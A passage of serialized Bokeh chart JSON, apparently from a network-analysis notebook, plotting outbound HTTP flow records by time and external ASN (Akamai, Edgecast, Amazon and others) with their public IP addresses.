":\"3848\"}],\"min_border_left\":50,\"plot_height\":300,\"plot_width\":900,\"renderers\":[{\"id\":\"3944\"},{\"id\":\"3950\"},{\"id\":\"3956\"},{\"id\":\"3962\"},{\"id\":\"3968\"},{\"id\":\"3974\"},{\"id\":\"3980\"},{\"id\":\"3986\"},{\"id\":\"3992\"},{\"id\":\"3998\"}],\"right\":[{\"id\":\"4001\"}],\"title\":{\"id\":\"3834\"},\"toolbar\":{\"id\":\"3858\"},\"x_range\":{\"id\":\"3836\"},\"x_scale\":{\"id\":\"3840\"},\"y_range\":{\"id\":\"3838\"},\"y_scale\":{\"id\":\"3842\"}},\"id\":\"3833\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"72.21.91.29\",\"72.21.81.240\",\"72.21.81.240\",\"72.21.91.29\",\"72.21.81.240\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.81.240\",\"72.21.81.240\",\"72.21.91.29\",\"72.21.81.240\",\"72.21.81.240\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.81.240\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.81.240\",\"72.21.91.29\",\"72.21.81.240\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.91.29\",\"72.21.81.240\",\"72.21.91.29\",\"72.21.81.240\"],\"ExtASN\":[\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\",\"EDGECAST, US\"],\"FlowDirection\":[\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AABcgN2OdkIAAFBiDI92QgAATED2jnZCAAA+ivGOdkIAAD6K8Y52QgCAaADRjnZCAICrZLuOdkIAgD0Mqo52QgAADKDMjnZCAIArP6KOdkIAgDEbk452QgCAyZ2HjnZCAIDJnYeOdkIAgCeUjY52QgCA7BpMjnZCAAAqiVKOdkIAAIp0Po52QgCA6X4xjnZCAABBWcuNdkIAgLbqmY12QgCAtuqZjXZCAAB9aSCNdkIAgMNoGY12QgCAke4LjXZCAICbNAeNdkIAAA5R84x2QgAADlHzjHZCAABNttaMdkIAgAR174x2QgCAMW6gjXZCAADcsJKNdkIAgKCQeI12QgCAWcltjXZCAAC6d1eNdkIAANSXSo12QgCAgvxSjXZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[36]},\"FlowType\":[\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\"],\"L7Protocol\":[\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\"],\"index\":[11,45,88,116,117,173,227,259,279,286,314,329,333,352,524,557,593,611,633,699,700,773,809,840,874,917,918,957,963,1078,1109,1135,1193,1243,1281,1359],\"y_index\":[5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5]},\"selected\":{\"id\":\"4032\"},\"selection_policy\":{\"id\":\"4033\"}},\"id\":\"3827\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"4035\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"3852\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"source\":{\"id\":\"3823\"}},\"id\":\"3951\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#482172\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#482172\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3949\",\"type\":\"Diamond\"},{\"attributes\":{},\"id\":\"4034\",\"type\":\"Selection\"},{\"attributes\":{\"data_source\":{\"id\":\"3824\"},\"glyph\":{\"id\":\"3954\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3955\"},\"selection_glyph\":null,\"view\":{\"id\":\"3957\"}},\"id\":\"3956\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"3854\",\"type\":\"ResetTool\"},{\"attributes\":{\"source\":{\"id\":\"3831\"}},\"id\":\"3999\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"4036\",\"type\":\"Selection\"},{\"attributes\":{\"end\":1550316716500.0,\"start\":1549545621500.0},\"id\":\"3868\",\"type\":\"Range1d\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@FlowStartTime\":\"datetime\"},\"tooltips\":[[\"ExtASN\",\"@ExtASN\"],[\"FlowType\",\"@FlowType\"],[\"FlowDirection\",\"@FlowDirection\"],[\"L7Protocol\",\"@L7Protocol\"],[\"AllExtIPs\",\"@AllExtIPs\"],[\"FlowStartTime\",\"@FlowStartTime{%F %T.%3N}\"]]},\"id\":\"3832\",\"type\":\"HoverTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#423D84\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#423D84\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3955\",\"type\":\"Diamond\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#423D84\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#423D84\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3954\",\"type\":\"Diamond\"},{\"attributes\":{},\"id\":\"4037\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"label\":{\"value\":\"MICROSOFT-CORP-MSN-AS-BLOCK, US\"},\"renderers\":[{\"id\":\"3998\"}]},\"id\":\"4000\",\"type\":\"LegendItem\"},{\"attributes\":{\"source\":{\"id\":\"3822\"}},\"id\":\"3888\",\"type\":\"CDSView\"},{\"attributes\":{\"text\":\"Range Selector\"},\"id\":\"3866\",\"type\":\"Title\"},{\"attributes\":{\"source\":{\"id\":\"3824\"}},\"id\":\"3957\",\"type\":\"CDSView\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"3882\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"label\":{\"value\":\"AS-GLOBALTELEHOST, US\"},\"renderers\":[{\"id\":\"3962\"}]},\"id\":\"3964\",\"type\":\"LegendItem\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"3856\",\"type\":\"PanTool\"},{\"attributes\":{\"source\":{\"id\":\"3827\"}},\"id\":\"3913\",\"type\":\"CDSView\"},{\"attributes\":{\"label\":{\"value\":\"CENTURYLINK-US-LEGACY-QWEST, US\"},\"renderers\":[{\"id\":\"3968\"}]},\"id\":\"3970\",\"type\":\"LegendItem\"},{\"attributes\":{\"data_source\":{\"id\":\"3825\"},\"glyph\":{\"id\":\"3960\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3961\"},\"selection_glyph\":null,\"view\":{\"id\":\"3963\"}},\"id\":\"3962\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"overlay\":{\"id\":\"3857\"}},\"id\":\"3853\",\"type\":\"BoxZoomTool\"},{\"attributes\":{},\"id\":\"3855\",\"type\":\"SaveTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#83D34B\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#83D34B\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3996\",\"type\":\"Diamond\"},{\"attributes\":{\"fill_color\":{\"value\":\"#1E9A89\"},\"line_color\":{\"value\":\"#1E9A89\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3915\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#38578C\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#38578C\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3960\",\"type\":\"Diamond\"},{\"attributes\":{\"fill_color\":{\"value\":\"#440154\"},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3885\",\"type\":\"Circle\"},{\"attributes\":{\"formatter\":{\"id\":\"3882\"},\"ticker\":{\"id\":\"3877\"}},\"id\":\"3876\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"99.84.106.178\",\"99.84.106.27\",\"99.84.106.92\"],\"ExtASN\":[\"AMAZON-02, US\",\"AMAZON-02, US\",\"AMAZON-02, US\"],\"FlowDirection\":[\"O\",\"O\",\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AIAnlI2OdkIAgCeUjY52QgCAJ5SNjnZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[3]},\"FlowType\":[\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\"],\"L7Protocol\":[\"http\",\"http\",\"http\"],\"index\":[346,348,351],\"y_index\":[2,2,2]},\"selected\":{\"id\":\"4026\"},\"selection_policy\":{\"id\":\"4027\"}},\"id\":\"3824\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#2D6E8E\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#2D6E8E\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3906\",\"type\":\"Circle\"},{\"attributes\":{\"formatter\":{\"id\":\"4006\"},\"ticker\":{\"id\":\"3849\"},\"visible\":false},\"id\":\"3848\",\"type\":\"LinearAxis\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"38.75.137.9\"],\"ExtASN\":[\"AS-GLOBALTELEHOST, US\"],\"FlowDirection\":[\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AABUwnGOdkI=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[1]},\"FlowType\":[\"ExternalPublic\"],\"L7Protocol\":[\"http\"],\"index\":[375],\"y_index\":[3]},\"selected\":{\"id\":\"4028\"},\"selection_policy\":{\"id\":\"4029\"}},\"id\":\"3825\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"source\":{\"id\":\"3825\"}},\"id\":\"3963\",\"type\":\"CDSView\"},{\"attributes\":{\"data_source\":{\"id\":\"3822\"},\"glyph\":{\"id\":\"3885\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3886\"},\"selection_glyph\":null,\"view\":{\"id\":\"3888\"}},\"id\":\"3887\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"label\":{\"value\":\"LEVEL3, US\"},\"renderers\":[{\"id\":\"3992\"}]},\"id\":\"3994\",\"type\":\"LegendItem\"},{\"attributes\":{\"align\":\"right\",\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":{\"value\":\"10px\"}},\"id\":\"3881\",\"type\":\"Title\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#38578C\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#38578C\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3961\",\"type\":\"Diamond\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3886\",\"type\":\"Circle\"},{\"attributes\":{\"fill_color\":{\"value\":\"#24848D\"},\"line_color\":{\"value\":\"#24848D\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3910\",\"type\":\"Circle\"},{\"attributes\":{\"label\":{\"value\":\"EDGECAST, US\"},\"renderers\":[{\"id\":\"3974\"}]},\"id\":\"3976\",\"type\":\"LegendItem\"},{\"attributes\":{\"source\":{\"id\":\"3823\"}},\"id\":\"3893\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#24848D\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#24848D\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3911\",\"type\":\"Circle\"},{\"attributes\":{\"data_source\":{\"id\":\"3826\"},\"glyph\":{\"id\":\"3905\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3906\"},\"selection_glyph\":null,\"view\":{\"id\":\"3908\"}},\"id\":\"3907\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"axis\":{\"id\":\"3848\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"3851\",\"type\":\"Grid\"},{\"attributes\":{\"data_source\":{\"id\":\"3826\"},\"glyph\":{\"id\":\"3966\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3967\"},\"selection_glyph\":null,\"view\":{\"id\":\"3969\"}},\"id\":\"3968\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"65.158.47.112\"],\"ExtASN\":[\"CENTURYLINK-US-LEGACY-QWEST, US\"],\"FlowDirection\":[\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AICbNAeNdkI=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[1]},\"FlowType\":[\"ExternalPublic\"],\"L7Protocol\":[\"http\"],\"index\":[873],\"y_index\":[4]},\"selected\":{\"id\":\"4030\"},\"selection_policy\":{\"id\":\"4031\"}},\"id\":\"3826\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"fill_color\":{\"value\":\"#482172\"},\"line_color\":{\"value\":\"#482172\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3890\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"4032\",\"type\":\"Selection\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"3832\"},{\"id\":\"3852\"},{\"id\":\"3853\"},{\"id\":\"3854\"},{\"id\":\"3855\"},{\"id\":\"3856\"}]},\"id\":\"3858\",\"type\":\"Toolbar\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#2D6E8E\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#2D6E8E\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3966\",\"type\":\"Diamond\"},{\"attributes\":{\"data_source\":{\"id\":\"3827\"},\"glyph\":{\"id\":\"3910\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3911\"},\"selection_glyph\":null,\"view\":{\"id\":\"3913\"}},\"id\":\"3912\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"4006\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"3857\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"source\":{\"id\":\"3826\"}},\"id\":\"3969\",\"type\":\"CDSView\"},{\"attributes\":{\"data_source\":{\"id\":\"3823\"},\"glyph\":{\"id\":\"3890\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3891\"},\"selection_glyph\":null,\"view\":{\"id\":\"3893\"}},\"id\":\"3892\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#2D6E8E\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#2D6E8E\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3967\",\"type\":\"Diamond\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"23.48.36.47\",\"23.45.180.121\",\"23.48.36.78\",\"23.3.13.106\",\"23.3.13.112\",\"23.45.180.234\",\"23.3.13.146\",\"23.48.36.78\",\"23.45.181.178\",\"184.51.150.81\",\"23.45.180.34\",\"23.45.180.232\",\"23.45.181.160\",\"23.56.172.240\",\"23.45.180.184\",\"23.45.181.176\",\"23.73.181.8\",\"184.51.150.105\",\"23.48.36.61\",\"23.48.36.78\",\"23.3.13.152\",\"23.45.180.224\",\"23.215.98.90\"],\"ExtASN\":[\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\"],\"FlowDirection\":[\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AABpjdeOdkIAAMgD2o52QgCAyZ2HjnZCAIAnlI2OdkIAgCeUjY52QgCAJ5SNjnZCAIAnlI2OdkIAAIYmWY52QgCAlslNjnZCAAAqiVKOdkIAACqJUo52QgCAlVeojXZCAIC26pmNdkIAAP3/O412QgCAfk/rjHZCAIAEde+MdkIAgE5NvY12QgCAGd2jjXZCAIBZyW2NdkIAAAWrQo12QgAAuIRHjXZCAAC4hEeNdkIAgIL8Uo12Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[23]},\"FlowType\":[\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\"],\"L7Protocol\":[\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\"],\"index\":[18,183,334,347,349,350,353,514,537,558,559,688,698,907,942,964,1022,1067,1192,1309,1324,1325,1358],\"y_index\":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"4024\"},\"selection_policy\":{\"id\":\"4025\"}},\"id\":\"3823\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"label\":{\"value\":\"HIGHWINDS3, US\"},\"renderers\":[{\"id\":\"3986\"}]},\"id\":\"3988\",\"type\":\"LegendItem\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#482172\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#482172\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3891\",\"type\":\"Circle\"},{\"attributes\":{\"source\":{\"id\":\"3824\"}},\"id\":\"3898\",\"type\":\"CDSView\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"23.4.187.27\",\"23.4.187.27\",\"23.223.3.100\",\"23.4.187.27\",\"23.4.187.27\"],\"ExtASN\":[\"AKAMAI-AS, US\",\"AKAMAI-AS, US\",\"AKAMAI-AS, US\",\"AKAMAI-AS, US\",\"AKAMAI-AS, US\"],\"FlowDirection\":[\"O\",\"O\",\"O\",\"O\",\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AABQYgyPdkIAgGq/v452QgCAyZ2HjnZCAICbNAeNdkIAAE221ox2Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[5]},\"FlowType\":[\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\"],\"L7Protocol\":[\"http\",\"http\",\"http\",\"http\",\"http\"],\"index\":[44,221,332,875,958],\"y_index\":[0,0,0,0,0]},\"selected\":{\"id\":\"4022\"},\"selection_policy\":{\"id\":\"4023\"}},\"id\":\"3822\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"3870\",\"type\":\"DataRange1d\"},{\"attributes\":{\"data_source\":{\"id\":\"3827\"},\"glyph\":{\"id\":\"3972\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3973\"},\"selection_glyph\":null,\"view\":{\"id\":\"3975\"}},\"id\":\"3974\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_color\":{\"value\":\"#423D84\"},\"line_color\":{\"value\":\"#423D84\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3895\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#24848D\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#24848D\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3972\",\"type\":\"Diamond\"},{\"attributes\":{\"data_source\":{\"id\":\"3830\"},\"glyph\":{\"id\":\"3990\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3991\"},\"selection_glyph\":null,\"view\":{\"id\":\"3993\"}},\"id\":\"3992\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"3872\",\"type\":\"LinearScale\"},{\"attributes\":{\"data_source\":{\"id\":\"3824\"},\"glyph\":{\"id\":\"3895\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3896\"},\"selection_glyph\":null,\"view\":{\"id\":\"3898\"}},\"id\":\"3897\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"3874\",\"type\":\"LinearScale\"},{\"attributes\":{\"source\":{\"id\":\"3827\"}},\"id\":\"3975\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#423D84\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#423D84\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3896\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#24848D\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#24848D\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3973\",\"type\":\"Diamond\"},{\"attributes\":{\"source\":{\"id\":\"3825\"}},\"id\":\"3903\",\"type\":\"CDSView\"},{\"attributes\":{\"data_source\":{\"id\":\"3829\"},\"glyph\":{\"id\":\"3984\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3985\"},\"selection_glyph\":null,\"view\":{\"id\":\"3987\"}},\"id\":\"3986\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"4043\"},{\"id\":\"4044\"},{\"id\":\"4045\"},{\"id\":\"4046\"},{\"id\":\"4047\"},{\"id\":\"4048\"},{\"id\":\"4049\"},{\"id\":\"4050\"},{\"id\":\"4051\"},{\"id\":\"4052\"},{\"id\":\"4053\"},{\"id\":\"4054\"}]},\"id\":\"3877\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"label\":{\"value\":\"GOOGLE, US\"},\"renderers\":[{\"id\":\"3980\"}]},\"id\":\"3982\",\"type\":\"LegendItem\"},{\"attributes\":{\"fill_color\":{\"value\":\"#38578C\"},\"line_color\":{\"value\":\"#38578C\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3900\",\"type\":\"Circle\"},{\"attributes\":{\"click_policy\":\"hide\",\"items\":[{\"id\":\"4000\"},{\"id\":\"3994\"},{\"id\":\"3988\"},{\"id\":\"3982\"},{\"id\":\"3976\"},{\"id\":\"3970\"},{\"id\":\"3964\"},{\"id\":\"3958\"},{\"id\":\"3952\"},{\"id\":\"3946\"}],\"label_text_font_size\":\"8pt\",\"location\":\"center\"},\"id\":\"4001\",\"type\":\"Legend\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#1E9A89\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#1E9A89\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3978\",\"type\":\"Diamond\"},{\"attributes\":{\"axis\":{\"id\":\"3876\"},\"ticker\":null},\"id\":\"3879\",\"type\":\"Grid\"},{\"attributes\":{\"source\":{\"id\":\"3828\"}},\"id\":\"3918\",\"type\":\"CDSView\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":{\"id\":\"3934\"},\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"3934\"}]},\"id\":\"3880\",\"type\":\"Toolbar\"},{\"attributes\":{\"data_source\":{\"id\":\"3825\"},\"glyph\":{\"id\":\"3900\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3901\"},\"selection_glyph\":null,\"view\":{\"id\":\"3903\"}},\"id\":\"3902\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_colo